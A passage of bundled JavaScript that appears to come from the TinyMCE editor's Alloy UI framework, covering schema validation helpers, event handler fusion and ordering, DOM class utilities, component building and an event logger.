optionOf(key, objOf(objSchema)); }; var optionObjOfOnly = function (key, objSchema) { return optionOf(key, objOfOnly(objSchema)); }; var defaulted = function (key, fallback) { return field$1(key, key, defaulted$1(fallback), anyValue()); }; var defaultedOf = function (key, fallback, schema) { return field$1(key, key, defaulted$1(fallback), schema); }; var defaultedNumber = function (key, fallback) { return defaultedOf(key, fallback, number); }; var defaultedString = function (key, fallback) { return defaultedOf(key, fallback, string); }; var defaultedStringEnum = function (key, fallback, values) { return defaultedOf(key, fallback, validateEnum(values)); }; var defaultedBoolean = function (key, fallback) { return defaultedOf(key, fallback, boolean); }; var defaultedFunction = function (key, fallback) { return defaultedOf(key, fallback, functionProcessor); }; var defaultedPostMsg = function (key, fallback) { return defaultedOf(key, fallback, postMessageable); }; var defaultedArrayOf = function (key, fallback, schema) { return defaultedOf(key, fallback, arrOf(schema)); }; var defaultedObjOf = function (key, fallback, objSchema) { return defaultedOf(key, fallback, objOf(objSchema)); }; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; return { get: get, set: set }; }; var generate$7 = function (cases) { if (!isArray(cases)) { throw new Error('cases must be an array'); } if (cases.length === 0) { throw new Error('there must be at least one case'); } var constructors = []; var adt = {}; each$1(cases, function (acase, count) { var keys$1 = keys(acase); if (keys$1.length !== 1) { throw new Error('one and only one name per case'); } var key = keys$1[0]; var value = acase[key]; if (adt[key] !== undefined) { throw new Error('duplicate key detected:' + key); } else if (key === 'cata') { throw new Error('cannot have a case named cata (sorry)'); } else if (!isArray(value)) { throw new Error('case arguments must be an array'); } constructors.push(key); adt[key] = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } var argLength = args.length; if (argLength !== value.length) { throw new Error('Wrong number of arguments to case ' + key + '. Expected ' + value.length + ' (' + value + '), got ' + argLength); } var match = function (branches) { var branchKeys = keys(branches); if (constructors.length !== branchKeys.length) { throw new Error('Wrong number of arguments to match. Expected: ' + constructors.join(',') + '\nActual: ' + branchKeys.join(',')); } var allReqd = forall(constructors, function (reqKey) { return contains$2(branchKeys, reqKey); }); if (!allReqd) { throw new Error('Not all branches were specified when using match. Specified: ' + branchKeys.join(', ') + '\nRequired: ' + constructors.join(', ')); } return branches[key].apply(null, args); }; return { fold: function () { var foldArgs = []; for (var _i = 0; _i < arguments.length; _i++) { foldArgs[_i] = arguments[_i]; } if (foldArgs.length !== cases.length) { throw new Error('Wrong number of arguments to fold. Expected ' + cases.length + ', got ' + foldArgs.length); } var target = foldArgs[count]; return target.apply(null, args); }, match: match, log: function (label) { console.log(label, { constructors: constructors, constructor: key, params: args }); } }; }; }); return adt; }; var Adt = { generate: generate$7 }; Adt.generate([ { bothErrors: [ 'error1', 'error2' ] }, { firstError: [ 'error1', 'value2' ] }, { secondError: [ 'value1', 'error2' ] }, { bothValues: [ 'value1', 'value2' ] } ]); var partition$1 = function (results) { var errors = []; var values = []; each$1(results, function (result) { result.fold(function (err) { errors.push(err); }, function (value) { values.push(value); }); }); return { errors: errors, values: values }; }; var exclude$1 = function (obj, fields) { var r = {}; each(obj, function (v, k) { if (!contains$2(fields, k)) { r[k] = v; } }); return r; }; var wrap$2 = function (key, value) { var _a; return _a = {}, _a[key] = value, _a; }; var wrapAll$1 = function (keyvalues) { var r = {}; each$1(keyvalues, function (kv) { r[kv.key] = kv.value; }); return r; }; var exclude = function (obj, fields) { return exclude$1(obj, fields); }; var wrap$1 = function (key, value) { return wrap$2(key, value); }; var wrapAll = function (keyvalues) { return wrapAll$1(keyvalues); }; var mergeValues = function (values, base) { return values.length === 0 ? Result.value(base) : Result.value(deepMerge(base, merge$1.apply(undefined, values))); }; var mergeErrors = function (errors) { return Result.error(flatten(errors)); }; var consolidate = function (objs, base) { var partitions = partition$1(objs); return partitions.errors.length > 0 ? mergeErrors(partitions.errors) : mergeValues(partitions.values, base); }; var ensureIsRoot = function (isRoot) { return isFunction(isRoot) ? isRoot : never; }; var ancestor$2 = function (scope, transform, isRoot) { var element = scope.dom; var stop = ensureIsRoot(isRoot); while (element.parentNode) { element = element.parentNode; var el = SugarElement.fromDom(element); var transformed = transform(el); if (transformed.isSome()) { return transformed; } else if (stop(el)) { break; } } return Optional.none(); }; var closest$4 = function (scope, transform, isRoot) { var current = transform(scope); var stop = ensureIsRoot(isRoot); return current.orThunk(function () { return stop(scope) ? Optional.none() : ancestor$2(scope, transform, stop); }); }; var isSource = function (component, simulatedEvent) { return eq(component.element, simulatedEvent.event.target); }; var defaultEventHandler = { can: always, abort: never, run: noop }; var nu$9 = function (parts) { if (!hasNonNullableKey(parts, 'can') && !hasNonNullableKey(parts, 'abort') && !hasNonNullableKey(parts, 'run')) { throw new Error('EventHandler defined by: ' + JSON.stringify(parts, null, 2) + ' does not have can, abort, or run!'); } return __assign(__assign({}, defaultEventHandler), parts); }; var all$2 = function (handlers, f) { return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return foldl(handlers, function (acc, handler) { return acc && f(handler).apply(undefined, args); }, true); }; }; var any = function (handlers, f) { return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return foldl(handlers, function (acc, handler) { return acc || f(handler).apply(undefined, args); }, false); }; }; var read$2 = function (handler) { return isFunction(handler) ? { can: always, abort: never, run: handler } : handler; }; var fuse$1 = function (handlers) { var can = all$2(handlers, function (handler) { return handler.can; }); var abort = any(handlers, function (handler) { return handler.abort; }); var run = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } each$1(handlers, function (handler) { handler.run.apply(undefined, args); }); }; return { can: can, abort: abort, run: run }; }; var constant = constant$1; var touchstart = constant('touchstart'); var touchmove = constant('touchmove'); var touchend = constant('touchend'); var touchcancel = constant('touchcancel'); var mousedown = constant('mousedown'); var mousemove = constant('mousemove'); var mouseout = constant('mouseout'); var mouseup = constant('mouseup'); var mouseover = constant('mouseover'); var focusin = constant('focusin'); var focusout = constant('focusout'); var keydown = constant('keydown'); var keyup = constant('keyup'); var input = constant('input'); var change = constant('change'); var click = constant('click'); var transitioncancel = constant('transitioncancel'); var transitionend = constant('transitionend'); var transitionstart = constant('transitionstart'); var selectstart = constant('selectstart'); var prefixName = function (name) { return constant$1('alloy.' + name); }; var alloy = { tap: prefixName('tap') }; var focus$4 = prefixName('focus'); var postBlur = prefixName('blur.post'); var postPaste = prefixName('paste.post'); var receive = prefixName('receive'); var execute$5 = prefixName('execute'); var focusItem = prefixName('focus.item'); var tap = alloy.tap; var longpress = prefixName('longpress'); var sandboxClose = prefixName('sandbox.close'); var typeaheadCancel = prefixName('typeahead.cancel'); var systemInit = prefixName('system.init'); var documentTouchmove = prefixName('system.touchmove'); var documentTouchend = prefixName('system.touchend'); var windowScroll = prefixName('system.scroll'); var windowResize = prefixName('system.resize'); var attachedToDom = prefixName('system.attached'); var detachedFromDom = prefixName('system.detached'); var dismissRequested = prefixName('system.dismissRequested'); var repositionRequested = prefixName('system.repositionRequested'); var focusShifted = prefixName('focusmanager.shifted'); var slotVisibility = prefixName('slotcontainer.visibility'); var changeTab = prefixName('change.tab'); var dismissTab = prefixName('dismiss.tab'); var highlight$1 = prefixName('highlight'); var dehighlight$1 = prefixName('dehighlight'); var emit = function (component, event) { dispatchWith(component, component.element, event, {}); }; var emitWith = function (component, event, properties) { dispatchWith(component, component.element, event, properties); }; var emitExecute = function (component) { emit(component, execute$5()); }; var dispatch = function (component, target, event) { dispatchWith(component, target, event, {}); }; var dispatchWith = function (component, target, event, properties) { var data = __assign({ target: target }, properties); component.getSystem().triggerEvent(event, target, data); }; var dispatchEvent = function (component, target, event, simulatedEvent) { component.getSystem().triggerEvent(event, target, simulatedEvent.event); }; var derive$2 = function (configs) { return wrapAll(configs); }; var abort = function (name, predicate) { return { key: name, value: nu$9({ abort: predicate }) }; }; var can = function (name, predicate) { return { key: name, value: nu$9({ can: predicate }) }; }; var preventDefault = function (name) { return { key: name, value: nu$9({ run: function (component, simulatedEvent) { simulatedEvent.event.prevent(); } }) }; }; var run$1 = function (name, handler) { return { key: name, value: nu$9({ run: handler }) }; }; var runActionExtra = function (name, action, extra) { return { key: name, value: nu$9({ run: function (component, simulatedEvent) { action.apply(undefined, [ component, simulatedEvent ].concat(extra)); } }) }; }; var runOnName = function (name) { return function (handler) { return run$1(name, handler); }; }; var runOnSourceName = function (name) { return function (handler) { return { key: name, value: nu$9({ run: function (component, simulatedEvent) { if (isSource(component, simulatedEvent)) { handler(component, simulatedEvent); } } }) }; }; }; var redirectToUid = function (name, uid) { return run$1(name, function (component, simulatedEvent) { component.getSystem().getByUid(uid).each(function (redirectee) { dispatchEvent(redirectee, redirectee.element, name, simulatedEvent); }); }); }; var redirectToPart = function (name, detail, partName) { var uid = detail.partUids[partName]; return redirectToUid(name, uid); }; var runWithTarget = function (name, f) { return run$1(name, function (component, simulatedEvent) { var ev = simulatedEvent.event; var target = component.getSystem().getByDom(ev.target).getOrThunk(function () { var closest = closest$4(ev.target, function (el) { return component.getSystem().getByDom(el).toOptional(); }, never); return closest.getOr(component); }); f(component, target, simulatedEvent); }); }; var cutter = function (name) { return run$1(name, function (component, simulatedEvent) { simulatedEvent.cut(); }); }; var stopper = function (name) { return run$1(name, function (component, simulatedEvent) { simulatedEvent.stop(); }); }; var runOnSource = function (name, f) { return runOnSourceName(name)(f); }; var runOnAttached = runOnSourceName(attachedToDom()); var runOnDetached = runOnSourceName(detachedFromDom()); var runOnInit = runOnSourceName(systemInit()); var runOnExecute$1 = runOnName(execute$5()); var fromHtml$1 = function (html, scope) { var doc = scope || document; var div = doc.createElement('div'); div.innerHTML = html; return children(SugarElement.fromDom(div)); }; var get$7 = function (element) { return element.dom.innerHTML; }; var set$5 = function (element, content) { var owner = owner$4(element); var docDom = owner.dom; var fragment = SugarElement.fromDom(docDom.createDocumentFragment()); var contentElements = fromHtml$1(content, docDom); append$1(fragment, contentElements); empty(element); append$2(element, fragment); }; var getOuter = function (element) { var container = SugarElement.fromTag('div'); var clone = SugarElement.fromDom(element.dom.cloneNode(true)); append$2(container, clone); return get$7(container); }; var clone$1 = function (original, isDeep) { return SugarElement.fromDom(original.dom.cloneNode(isDeep)); }; var shallow = function (original) { return clone$1(original, false); }; var getHtml = function (element) { if (isShadowRoot(element)) { return '#shadow-root'; } else { var clone = shallow(element); return getOuter(clone); } }; var element = function (elem) { return getHtml(elem); }; var isRecursive = function (component, originator, target) { return eq(originator, component.element) && !eq(originator, target); }; var events$i = derive$2([can(focus$4(), function (component, simulatedEvent) { var event = simulatedEvent.event; var originator = event.originator; var target = event.target; if (isRecursive(component, originator, target)) { console.warn(focus$4() + ' did not get interpreted by the desired target. ' + '\nOriginator: ' + element(originator) + '\nTarget: ' + element(target) + '\nCheck the ' + focus$4() + ' event handlers'); return false; } else { return true; } })]); var DefaultEvents = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$i }); var unique = 0; var generate$6 = function (prefix) { var date = new Date(); var time = date.getTime(); var random = Math.floor(Math.random() * 1000000000); unique++; return prefix + '_' + random + unique + String(time); }; var prefix$1 = constant$1('alloy-id-'); var idAttr$1 = constant$1('data-alloy-id'); var prefix = prefix$1(); var idAttr = idAttr$1(); var write = function (label, elem) { var id = generate$6(prefix + label); writeOnly(elem, id); return id; }; var writeOnly = function (elem, uid) { Object.defineProperty(elem.dom, idAttr, { value: uid, writable: true }); }; var read$1 = function (elem) { var id = isElement$2(elem) ? elem.dom[idAttr] : null; return Optional.from(id); }; var generate$5 = function (prefix) { return generate$6(prefix); }; var make$8 = identity$1; var NoContextApi = function (getComp) { var getMessage = function (event) { return 'The component must be in a context to execute: ' + event + (getComp ? '\n' + element(getComp().element) + ' is not in context.' : ''); }; var fail = function (event) { return function () { throw new Error(getMessage(event)); }; }; var warn = function (event) { return function () { console.warn(getMessage(event)); }; }; return { debugInfo: constant$1('fake'), triggerEvent: warn('triggerEvent'), triggerFocus: warn('triggerFocus'), triggerEscape: warn('triggerEscape'), broadcast: warn('broadcast'), broadcastOn: warn('broadcastOn'), broadcastEvent: warn('broadcastEvent'), build: fail('build'), addToWorld: fail('addToWorld'), removeFromWorld: fail('removeFromWorld'), addToGui: fail('addToGui'), removeFromGui: fail('removeFromGui'), getByUid: fail('getByUid'), getByDom: fail('getByDom'), isConnected: never }; }; var singleton$1 = NoContextApi(); var markAsBehaviourApi = function (f, apiName, apiFunction) { var delegate = apiFunction.toString(); var endIndex = delegate.indexOf(')') + 1; var openBracketIndex = delegate.indexOf('('); var parameters = delegate.substring(openBracketIndex + 1, endIndex - 1).split(/,\s*/); f.toFunctionAnnotation = function () { return { name: apiName, parameters: cleanParameters(parameters.slice(0, 1).concat(parameters.slice(3))) }; }; return f; }; var cleanParameters = function (parameters) { return map$2(parameters, function (p) { return endsWith(p, '/*') ? p.substring(0, p.length - '/*'.length) : p; }); }; var markAsExtraApi = function (f, extraName) { var delegate = f.toString(); var endIndex = delegate.indexOf(')') + 1; var openBracketIndex = delegate.indexOf('('); var parameters = delegate.substring(openBracketIndex + 1, endIndex - 1).split(/,\s*/); f.toFunctionAnnotation = function () { return { name: extraName, parameters: cleanParameters(parameters) }; }; return f; }; var markAsSketchApi = function (f, apiFunction) { var delegate = apiFunction.toString(); var endIndex = delegate.indexOf(')') + 1; var openBracketIndex = delegate.indexOf('('); var parameters = delegate.substring(openBracketIndex + 1, endIndex - 1).split(/,\s*/); f.toFunctionAnnotation = function () { return { name: 'OVERRIDE', parameters: cleanParameters(parameters.slice(1)) }; }; return f; }; var premadeTag = generate$6('alloy-premade'); var premade$1 = function (comp) { return wrap$1(premadeTag, comp); }; var getPremade = function (spec) { return get$e(spec, premadeTag); }; var makeApi = function (f) { return markAsSketchApi(function (component) { var rest = []; for (var _i = 1; _i < arguments.length; _i++) { rest[_i - 1] = arguments[_i]; } return f.apply(void 0, __spreadArray([ component.getApis(), component ], rest, false)); }, f); }; var NoState = { init: function () { return nu$8({ readState: constant$1('No State required') }); } }; var nu$8 = function (spec) { return spec; }; var generateFrom$1 = function (spec, all) { var schema = map$2(all, function (a) { return optionObjOf(a.name(), [ required$1('config'), defaulted('state', NoState) ]); }); var validated = asRaw('component.behaviours', objOf(schema), spec.behaviours).fold(function (errInfo) { throw new Error(formatError(errInfo) + '\nComplete spec:\n' + JSON.stringify(spec, null, 2)); }, identity$1); return { list: all, data: map$1(validated, function (optBlobThunk) { var output = optBlobThunk.map(function (blob) { return { config: blob.config, state: blob.state.init(blob.config) }; }); return constant$1(output); }) }; }; var getBehaviours$3 = function (bData) { return bData.list; }; var getData$2 = function (bData) { return bData.data; }; var byInnerKey = function (data, tuple) { var r = {}; each(data, function (detail, key) { each(detail, function (value, indexKey) { var chain = get$e(r, indexKey).getOr([]); r[indexKey] = chain.concat([tuple(key, value)]); }); }); return r; }; var nu$7 = function (s) { return { classes: isUndefined(s.classes) ? [] : s.classes, attributes: isUndefined(s.attributes) ? {} : s.attributes, styles: isUndefined(s.styles) ? {} : s.styles }; }; var merge = function (defnA, mod) { return __assign(__assign({}, defnA), { attributes: __assign(__assign({}, defnA.attributes), mod.attributes), styles: __assign(__assign({}, defnA.styles), mod.styles), classes: defnA.classes.concat(mod.classes) }); }; var combine$2 = function (info, baseMod, behaviours, base) { var modsByBehaviour = __assign({}, baseMod); each$1(behaviours, function (behaviour) { modsByBehaviour[behaviour.name()] = behaviour.exhibit(info, base); }); var byAspect = byInnerKey(modsByBehaviour, function (name, modification) { return { name: name, modification: modification }; }); var combineObjects = function (objects) { return foldr(objects, function (b, a) { return __assign(__assign({}, a.modification), b); }, {}); }; var combinedClasses = foldr(byAspect.classes, function (b, a) { return a.modification.concat(b); }, []); var combinedAttributes = combineObjects(byAspect.attributes); var combinedStyles = combineObjects(byAspect.styles); return nu$7({ classes: combinedClasses, attributes: combinedAttributes, styles: combinedStyles }); }; var sortKeys = function (label, keyName, array, order) { try { var sorted = sort(array, function (a, b) { var aKey = a[keyName]; var bKey = b[keyName]; var aIndex = order.indexOf(aKey); var bIndex = order.indexOf(bKey); if (aIndex === -1) { throw new Error('The ordering for ' + label + ' does not have an entry for ' + aKey + '.\nOrder specified: ' + JSON.stringify(order, null, 2)); } if (bIndex === -1) { throw new Error('The ordering for ' + label + ' does not have an entry for ' + bKey + '.\nOrder specified: ' + JSON.stringify(order, null, 2)); } if (aIndex < bIndex) { return -1; } else if (bIndex < aIndex) { return 1; } else { return 0; } }); return Result.value(sorted); } catch (err) { return Result.error([err]); } }; var uncurried = function (handler, purpose) { return { handler: handler, purpose: purpose }; }; var curried = function (handler, purpose) { return { cHandler: handler, purpose: purpose }; }; var curryArgs = function (descHandler, extraArgs) { return curried(curry.apply(undefined, [descHandler.handler].concat(extraArgs)), descHandler.purpose); }; var getCurried = function (descHandler) { return descHandler.cHandler; }; var behaviourTuple = function (name, handler) { return { name: name, handler: handler }; }; var nameToHandlers = function (behaviours, info) { var r = {}; each$1(behaviours, function (behaviour) { r[behaviour.name()] = behaviour.handlers(info); }); return r; }; var groupByEvents = function (info, behaviours, base) { var behaviourEvents = __assign(__assign({}, base), nameToHandlers(behaviours, info)); return byInnerKey(behaviourEvents, behaviourTuple); }; var combine$1 = function (info, eventOrder, behaviours, base) { var byEventName = groupByEvents(info, behaviours, base); return combineGroups(byEventName, eventOrder); }; var assemble = function (rawHandler) { var handler = read$2(rawHandler); return function (component, simulatedEvent) { var rest = []; for (var _i = 2; _i < arguments.length; _i++) { rest[_i - 2] = arguments[_i]; } var args = [ component, simulatedEvent ].concat(rest); if (handler.abort.apply(undefined, args)) { simulatedEvent.stop(); } else if (handler.can.apply(undefined, args)) { handler.run.apply(undefined, args); } }; }; var missingOrderError = function (eventName, tuples) { return Result.error(['The event (' + eventName + ') has more than one behaviour that listens to it.\nWhen this occurs, you must ' + 'specify an event ordering for the behaviours in your spec (e.g. [ "listing", "toggling" ]).\nThe behaviours that ' + 'can trigger it are: ' + JSON.stringify(map$2(tuples, function (c) { return c.name; }), null, 2)]); }; var fuse = function (tuples, eventOrder, eventName) { var order = eventOrder[eventName]; if (!order) { return missingOrderError(eventName, tuples); } else { return sortKeys('Event: ' + eventName, 'name', tuples, order).map(function (sortedTuples) { var handlers = map$2(sortedTuples, function (tuple) { return tuple.handler; }); return fuse$1(handlers); }); } }; var combineGroups = function (byEventName, eventOrder) { var r = mapToArray(byEventName, function (tuples, eventName) { var combined = tuples.length === 1 ? Result.value(tuples[0].handler) : fuse(tuples, eventOrder, eventName); return combined.map(function (handler) { var assembled = assemble(handler); var purpose = tuples.length > 1 ? filter$2(eventOrder[eventName], function (o) { return exists(tuples, function (t) { return t.name === o; }); }).join(' > ') : tuples[0].name; return wrap$1(eventName, uncurried(assembled, purpose)); }); }); return consolidate(r, {}); }; var _a$2; var baseBehaviour = 'alloy.base.behaviour'; var schema$z = objOf([ field$1('dom', 'dom', required$2(), objOf([ required$1('tag'), defaulted('styles', {}), defaulted('classes', []), defaulted('attributes', {}), option('value'), option('innerHtml') ])), required$1('components'), required$1('uid'), defaulted('events', {}), defaulted('apis', {}), field$1('eventOrder', 'eventOrder', mergeWith((_a$2 = {}, _a$2[execute$5()] = [ 'disabling', baseBehaviour, 'toggling', 'typeaheadevents' ], _a$2[focus$4()] = [ baseBehaviour, 'focusing', 'keying' ], _a$2[systemInit()] = [ baseBehaviour, 'disabling', 'toggling', 'representing' ], _a$2[input()] = [ baseBehaviour, 'representing', 'streaming', 'invalidating' ], _a$2[detachedFromDom()] = [ baseBehaviour, 'representing', 'item-events', 'tooltipping' ], _a$2[mousedown()] = [ 'focusing', baseBehaviour, 'item-type-events' ], _a$2[touchstart()] = [ 'focusing', baseBehaviour, 'item-type-events' ], _a$2[mouseover()] = [ 'item-type-events', 'tooltipping' ], _a$2[receive()] = [ 'receiving', 'reflecting', 'tooltipping' ], _a$2)), anyValue()), option('domModification') ]); var toInfo = function (spec) { return asRaw('custom.definition', schema$z, spec); }; var toDefinition = function (detail) { return __assign(__assign({}, detail.dom), { uid: detail.uid, domChildren: map$2(detail.components, function (comp) { return comp.element; }) }); }; var toModification = function (detail) { return detail.domModification.fold(function () { return nu$7({}); }, nu$7); }; var toEvents = function (info) { return info.events; }; var read = function (element, attr) { var value = get$d(element, attr); return value === undefined || value === '' ? [] : value.split(' '); }; var add$4 = function (element, attr, id) { var old = read(element, attr); var nu = old.concat([id]); set$8(element, attr, nu.join(' ')); return true; }; var remove$4 = function (element, attr, id) { var nu = filter$2(read(element, attr), function (v) { return v !== id; }); if (nu.length > 0) { set$8(element, attr, nu.join(' ')); } else { remove$7(element, attr); } return false; }; var supports = function (element) { return element.dom.classList !== undefined; }; var get$6 = function (element) { return read(element, 'class'); }; var add$3 = function (element, clazz) { return add$4(element, 'class', clazz); }; var remove$3 = function (element, clazz) { return remove$4(element, 'class', clazz); }; var add$2 = function (element, clazz) { if (supports(element)) { element.dom.classList.add(clazz); } else { add$3(element, clazz); } }; var cleanClass = function (element) { var classList = supports(element) ? element.dom.classList : get$6(element); if (classList.length === 0) { remove$7(element, 'class'); } }; var remove$2 = function (element, clazz) { if (supports(element)) { var classList = element.dom.classList; classList.remove(clazz); } else { remove$3(element, clazz); } cleanClass(element); }; var has = function (element, clazz) { return supports(element) && element.dom.classList.contains(clazz); }; var add$1 = function (element, classes) { each$1(classes, function (x) { add$2(element, x); }); }; var remove$1 = function (element, classes) { each$1(classes, function (x) { remove$2(element, x); }); }; var hasAll = function (element, classes) { return forall(classes, function (clazz) { return has(element, clazz); }); }; var get$5 = function (element) { return element.dom.value; }; var set$4 = function (element, value) { if (value === undefined) { throw new Error('Value.set was undefined'); } element.dom.value = value; }; var renderToDom = function (definition) { var subject = SugarElement.fromTag(definition.tag); setAll$1(subject, definition.attributes); add$1(subject, definition.classes); setAll(subject, definition.styles); definition.innerHtml.each(function (html) { return set$5(subject, html); }); var children = definition.domChildren; append$1(subject, children); definition.value.each(function (value) { set$4(subject, value); }); if (!definition.uid) { debugger; } writeOnly(subject, definition.uid); return subject; }; var getBehaviours$2 = function (spec) { var behaviours = get$e(spec, 'behaviours').getOr({}); return bind$3(keys(behaviours), function (name) { var behaviour = behaviours[name]; return isNonNullable(behaviour) ? [behaviour.me] : []; }); }; var generateFrom = function (spec, all) { return generateFrom$1(spec, all); }; var generate$4 = function (spec) { var all = getBehaviours$2(spec); return generateFrom(spec, all); }; var getDomDefinition = function (info, bList, bData) { var definition = toDefinition(info); var infoModification = toModification(info); var baseModification = { 'alloy.base.modification': infoModification }; var modification = bList.length > 0 ? combine$2(bData, baseModification, bList, definition) : infoModification; return merge(definition, modification); }; var getEvents = function (info, bList, bData) { var baseEvents = { 'alloy.base.behaviour': toEvents(info) }; return combine$1(bData, info.eventOrder, bList, baseEvents).getOrDie(); }; var build$2 = function (spec) { var getMe = function () { return me; }; var systemApi = Cell(singleton$1); var info = getOrDie(toInfo(spec)); var bBlob = generate$4(spec); var bList = getBehaviours$3(bBlob); var bData = getData$2(bBlob); var modDefinition = getDomDefinition(info, bList, bData); var item = renderToDom(modDefinition); var events = getEvents(info, bList, bData); var subcomponents = Cell(info.components); var connect = function (newApi) { systemApi.set(newApi); }; var disconnect = function () { systemApi.set(NoContextApi(getMe)); }; var syncComponents = function () { var children$1 = children(item); var subs = bind$3(children$1, function (child) { return systemApi.get().getByDom(child).fold(function () { return []; }, pure$2); }); subcomponents.set(subs); }; var config = function (behaviour) { var b = bData; var f = isFunction(b[behaviour.name()]) ? b[behaviour.name()] : function () { throw new Error('Could not find ' + behaviour.name() + ' in ' + JSON.stringify(spec, null, 2)); }; return f(); }; var hasConfigured = function (behaviour) { return isFunction(bData[behaviour.name()]); }; var getApis = function () { return info.apis; }; var readState = function (behaviourName) { return bData[behaviourName]().map(function (b) { return b.state.readState(); }).getOr('not enabled'); }; var me = { uid: spec.uid, getSystem: systemApi.get, config: config, hasConfigured: hasConfigured, spec: spec, readState: readState, getApis: getApis, connect: connect, disconnect: disconnect, element: item, syncComponents: syncComponents, components: subcomponents.get, events: events }; return me; }; var buildSubcomponents = function (spec) { var components = get$e(spec, 'components').getOr([]); return map$2(components, build$1); }; var buildFromSpec = function (userSpec) { var _a = make$8(userSpec), specEvents = _a.events, spec = __rest(_a, ['events']); var components = buildSubcomponents(spec); var completeSpec = __assign(__assign({}, spec), { events: __assign(__assign({}, DefaultEvents), specEvents), components: components }); return Result.value(build$2(completeSpec)); }; var text = function (textContent) { var element = SugarElement.fromText(textContent); return external$2({ element: element }); }; var external$2 = function (spec) { var extSpec = asRawOrDie$1('external.component', objOfOnly([ required$1('element'), option('uid') ]), spec); var systemApi = Cell(NoContextApi()); var connect = function (newApi) { systemApi.set(newApi); }; var disconnect = function () { systemApi.set(NoContextApi(function () { return me; })); }; var uid = extSpec.uid.getOrThunk(function () { return generate$5('external'); }); writeOnly(extSpec.element, uid); var me = { uid: uid, getSystem: systemApi.get, config: Optional.none, hasConfigured: never, connect: connect, disconnect: disconnect, getApis: function () { return {}; }, element: extSpec.element, spec: spec, readState: constant$1('No state'), syncComponents: noop, components: constant$1([]), events: {} }; return premade$1(me); }; var uids = generate$5; var isSketchSpec$1 = function (spec) { return has$2(spec, 'uid'); }; var build$1 = function (spec) { return getPremade(spec).getOrThunk(function () { var userSpecWithUid = isSketchSpec$1(spec) ? spec : __assign({ uid: uids('') }, spec); return buildFromSpec(userSpecWithUid).getOrDie(); }); }; var premade = premade$1; function ClosestOrAncestor (is, ancestor, scope, a, isRoot) { if (is(scope, a)) { return Optional.some(scope); } else if (isFunction(isRoot) && isRoot(scope)) { return Optional.none(); } else { return ancestor(scope, a, isRoot); } } var ancestor$1 = function (scope, predicate, isRoot) { var element = scope.dom; var stop = isFunction(isRoot) ? isRoot : never; while (element.parentNode) { element = element.parentNode; var el = SugarElement.fromDom(element); if (predicate(el)) { return Optional.some(el); } else if (stop(el)) { break; } } return Optional.none(); }; var closest$3 = function (scope, predicate, isRoot) { var is = function (s, test) { return test(s); }; return ClosestOrAncestor(is, ancestor$1, scope, predicate, isRoot); }; var child$1 = function (scope, predicate) { var pred = function (node) { return predicate(SugarElement.fromDom(node)); }; var result = find$5(scope.dom.childNodes, pred); return result.map(SugarElement.fromDom); }; var descendant$1 = function (scope, predicate) { var descend = function (node) { for (var i = 0; i < node.childNodes.length; i++) { var child_1 = SugarElement.fromDom(node.childNodes[i]); if (predicate(child_1)) { return Optional.some(child_1); } var res = descend(node.childNodes[i]); if (res.isSome()) { return res; } } return Optional.none(); }; return descend(scope.dom); }; var closest$2 = function (scope, predicate, isRoot) { return closest$3(scope, predicate, isRoot).isSome(); }; var ancestor = function (scope, selector, isRoot) { return ancestor$1(scope, function (e) { return is(e, selector); }, isRoot); }; var child = function (scope, selector) { return child$1(scope, function (e) { return is(e, selector); }); }; var descendant = function (scope, selector) { return one(selector, scope); }; var closest$1 = function (scope, selector, isRoot) { var is$1 = function (element, selector) { return is(element, selector); }; return ClosestOrAncestor(is$1, ancestor, scope, selector, isRoot); }; var find$1 = function (queryElem) { var dependent = closest$3(queryElem, function (elem) { if (!isElement$2(elem)) { return false; } var id = get$d(elem, 'id'); return id !== undefined && id.indexOf('aria-owns') > -1; }); return dependent.bind(function (dep) { var id = get$d(dep, 'id'); var dos = getRootNode(dep); return descendant(dos, '[aria-owns="' + id + '"]'); }); }; var manager = function () { var ariaId = generate$6('aria-owns'); var link = function (elem) { set$8(elem, 'aria-owns', ariaId); }; var unlink = function (elem) { remove$7(elem, 'aria-owns'); }; return { id: ariaId, link: link, unlink: unlink }; }; var isAriaPartOf = function (component, queryElem) { return find$1(queryElem).exists(function (owner) { return isPartOf$1(component, owner); }); }; var isPartOf$1 = function (component, queryElem) { return closest$2(queryElem, function (el) { return eq(el, component.element); }, never) || isAriaPartOf(component, queryElem); }; var unknown = 'unknown'; var EventConfiguration; (function (EventConfiguration) { EventConfiguration[EventConfiguration['STOP'] = 0] = 'STOP'; EventConfiguration[EventConfiguration['NORMAL'] = 1] = 'NORMAL'; EventConfiguration[EventConfiguration['LOGGING'] = 2] = 'LOGGING'; }(EventConfiguration || (EventConfiguration = {}))); var eventConfig = Cell({}); var makeEventLogger = function (eventName, initialTarget) { var sequence = []; var startTime = new Date().getTime(); return { logEventCut: function (_name, target, purpose) { sequence.push({ outcome: 'cut', target: target, purpose: purpose }); }, logEventStopped: function (_name, target, purpose) { sequence.push({ outcome: 'stopped', target: target, purpose: purpose }); }, logNoParent: function (_name, target, purpose) { sequence.push({ outcome: 'no-parent', target: target, purpose: purpose }); }, logEventNoHandlers: function (_name, target) { sequence.push({ outcome: 'no-handlers-left', target: target }); }, logEventResponse: function (_name, target, purpose) { sequence.push({ outcome: 'response', purpose: purpose, target: target }); }, write: function () { var finishTime = new Date().getTime(); if (contains$2([ 'mousemove', 'mouseover', 'mouseout', systemInit() ], eventName)) { return; } console.log(eventName, { event: eventName, time: finishTime - startTime, target: initialTarget.dom, sequence: map$2(sequence, function (s) { if (!contains$2([ 'cut', 'stopped', 'response' ], s.outcome)) { return s.outcome; } else { return '{' + s.purpose + '} ' + s.outcome + ' at (' + element(s.target) + ')'; } }) }); } }; }; var processEvent = function (eventName, initialTarget, f) { var status = get$e(eventConfig.get(), eventName).orThunk(function () { var patterns = keys(eventConfig.get()); return findMap(patterns, function (p) { return eventName.indexOf(p) > -1 ? Optional.some(eventConfig.get()[p]) : Optional.none(); }); }).getOr(EventConfiguration.NORMAL); switch (status) { case EventConfiguration.NORMAL: return f(noLogger()); case EventConfiguration.LOGGING: { var logger = makeEventLogger(eventName, initialTarget); var output = f(logger); logger.write(); return output; } case EventConfiguration.STOP: return true; } }; var path = [ 'alloy/data/Fields', 'alloy/debugging/Debugging' ]; var 